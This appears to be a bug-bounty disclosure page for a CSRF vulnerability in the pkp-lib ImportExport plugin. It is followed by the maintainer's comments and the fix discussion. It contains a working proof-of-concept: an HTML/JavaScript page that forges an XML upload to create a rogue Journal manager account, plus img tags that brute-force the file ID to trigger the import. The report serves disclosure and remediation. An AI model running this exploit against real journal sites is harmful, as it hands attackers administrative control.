Cross-Site Request Forgery (CSRF) in pkp/pkp-lib

Valid

Reported on

Oct 6th 2021


Description

Higher severity CSRF in PKP-LIB plugins

ImportExport is vulnerable to CSRF in terms of file uploads and file imports, an attacker can import arbitrary users into the platform,

1: POST /index.php/e/management/importexport/plugin/UserImportExportPlugin/uploadImportXML 2: GET /index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=52

The only CSRF check exists in the importBounce, but it does not matter because the above 2 requests are enough to upload and import XML files. So an attack can first induce Request 1 and then induce Request 2 via a CSRF attack, thus tricking admins into adding arbitrary admin users to the platform.

The NativeExport plugin is also vulnerable to this.

Proof of Concept

1: Induce Request 1
<html>
  <body>
    <script>
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/uploadImportXML", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"name\"\r\n" +
          "\r\n" + "users.xml" +
          "\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"uploadedFile\"; ; filename=\"users.xml\"\r\n" + 
          "Content-Type: text/xml\r\n" +
          "\r\n" +
          "<?xml version='1.0'?><PKPUsers xmlns='http://pkp.sfu.ca' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://pkp.sfu.ca pkp-users.xsd'><user_groups xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://pkp.sfu.ca pkp-users.xsd'><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Journal manager</name><abbrev locale='en_US'>JM</abbrev><stage_assignments/></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Journal editor</name><abbrev locale='en_US'>JE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Production editor</name><abbrev locale='en_US'>ProdE</abbrev><stage_assignments>4:5</stage_assignments></user_group><user_group><role_id>17</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Section editor</name><abbrev locale='en_US'>SecE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>17</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Guest editor</name><abbrev locale='en_US'>GE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Copyeditor</name><abbrev locale='en_US'>CE</abbrev><stage_assignments>1:3:4</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Designer</name><abbrev locale='en_US'>Design</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Funding coordinator</name><abbrev locale='en_US'>FC</abbrev><stage_assignments>1:3</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Indexer</name><abbrev locale='en_US'>IND</abbrev><stage_assignments>1:5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Layout Editor</name><abbrev locale='en_US'>LE</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Marketing and sales coordinator</name><abbrev locale='en_US'>MS</abbrev><stage_assignments>4</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Proofreader</name><abbrev locale='en_US'>PR</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>65536</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Author</name><abbrev locale='en_US'>AU</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>65536</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Translator</name><abbrev locale='en_US'>Trans</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>4096</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Reviewer</name><abbrev locale='en_US'>R</abbrev><stage_assignments>3</stage_assignments></user_group><user_group><role_id>1048576</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Reader</name><abbrev locale='en_US'>Read</abbrev><stage_assignments/></user_group><user_group><role_id>2097152</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Subscription Manager</name><abbrev locale='en_US'>SubM</abbrev><stage_assignments/></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group></user_groups><users><user><givenname locale='en_US'>csrf</givenname><familyname locale='en_US'>csrf</familyname><email>csrf@csrf.local</email><username>csrf</username><password is_disabled='false' must_change='false' encryption='sha1'><value>$2y$10$bB.3T2929mB2J.xdQVwpdeDpzOoxmeJrgbHkUA2Rt4BVm.eK9mi3K</value></password><date_registered>2021-10-04 17:41:12</date_registered><date_last_login>2021-10-06 16:24:07</date_last_login><inline_help>true</inline_help><auth_id>0</auth_id><locales>b:0;</locales><user_group_ref>Journal manager</user_group_ref></user></users></PKPUsers>" + "\r\n" +
          "-----------------------------256672629917035--\r\n"
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
    </script>
  </body>
</html>
2: Induce Request 2 (Bruteforce the temporaryFileId)
...
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=66">
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=67">
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=68">
...

Impact

This vulnerability is capable of tricking admins to add arbitrary admin users to platform

Occurences

no CSRF validation (import) native

missing csrf token

no CSRF validation (uploadFile) native

no CSRF validation (importBounce) native

no CSRF validation (upload file)

We have contacted a member of the pkp/pkp-lib team and are waiting to hear back 2 months ago
We have contacted a member of the pkp/pkp-lib team and are waiting to hear back 2 months ago
haxatron modified their report
2 months ago
Alec Smecher
2 months ago

Not necessarily a comment on this specific issue, but a heads-up that I'm going to be intentionally slow to confirm and resolve trivial reports. It looks like there's a bit of a gold rush on this platform and I don't want to encourage a flood of low-value entries.

Alec Smecher validated this vulnerability 2 months ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Alec Smecher
2 months ago

Fixes proposed at https://github.com/pkp/pkp-lib/issues/7371.

haxatron
2 months ago

Researcher


Hi @maintainer, I have just taken a look at the PR, there still seems to be missing CSRF checks in the Native Import Export Plugin.

Alec Smecher
2 months ago

@hexatron, did you apply both the OJS and pkp-lib parts of the patch (lib/pkp)?

haxatron
2 months ago

Researcher


not yet, this was just of my manual review of the PR

Alec Smecher
2 months ago

@haxatron, the Native Import Export Plugin part of the fix is in the OJS PR: https://github.com/pkp/ojs/pull/3203/files

haxatron
2 months ago

Researcher


Looks good... though i do not know how to submit the 2 fixes for this report, can an @admin aid in this?

Alec Smecher
2 months ago

@haxatron, I'll submit the fixes in a moment (from the OJS repo, using a submodule update to link them).

haxatron
2 months ago

Researcher


This is the pkp-lib repo so I think you'll have to use the pkp-lib commits

haxatron
2 months ago

Researcher


In the meantime could you submit the 1st commit (https://github.com/pkp/pkp-lib/commit/b79b263d353e0e2a212ccadc74d68a94a190a773) to this report: https://www.huntr.dev/bounties/4b0299f3-d2bf-4728-8a37-ce18deebd115/ first? Thanks!

Alec Smecher confirmed that a fix has been merged on 62c07e 2 months ago
Alec Smecher has been awarded the fix bounty
importexport.tpl#L1L18 has been validated
Alec Smecher
2 months ago

Fortunately on the main branch all aspects of this report are addressed in the pkp-lib repo, so I've flagged the fix there.